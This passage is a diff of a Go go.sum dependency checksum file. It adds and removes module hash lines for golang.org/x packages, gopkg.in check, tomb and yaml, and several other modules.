v0.0.0-20191008105621-543471e840be/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20191120155948-bd437916bb0e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191228213918-04cbcbbfeed8/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200113162924-86b910548bc1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -673,6 +702,7 @@ golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201201145000-ef89a241ccb3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210104204734-6f8348627aad/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210112080510-489259a85091/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210220050731-9a76102bfb43/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210303074136-134d130e1a04/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -763,6 +793,7 @@ golang.org/x/tools v0.0.0-20200904185747-39188db58858/go.mod h1:Cj7w3i3Rnn0Xh82u golang.org/x/tools v0.0.0-20201110124207-079ba7bd75cd/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.0.0-20201201161351-ac6f37ff4c2a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.0.0-20201208233053-a543418bbed2/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= +golang.org/x/tools v0.0.0-20201224043029-2b0845dc783e/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.0.0-20210105154028-b0ab187a4818/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0= @@ -774,7 +805,6 @@ golang.org/x/tools v0.1.5/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= -golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE= golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE= google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M= @@ -918,19 +948,22 @@ google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGj google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= -google.golang.org/protobuf v1.27.1 h1:SnqbnDw1V7RiZcXPx5MEeqPv2s79L9i7BJUlG/+RurQ= google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo= gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= +gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= +gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys= gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/ini.v1 v1.66.2/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/mgo.v2 v2.0.0-20190816093944-a6b53ec6cb22 h1:VpOs+IwYnYBaFnrNAeB8UUWtL3vEUnzSCL1nVjPhqrw= gopkg.in/mgo.v2 v2.0.0-20190816093944-a6b53ec6cb22/go.mod h1:yeKp02qBN3iKW1OzL3MGk2IdtZzaj7SFntXj72NppTA= gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo= +gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ= +gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw= gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74= gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= @@ -939,6 +972,7 @@ gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.7/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=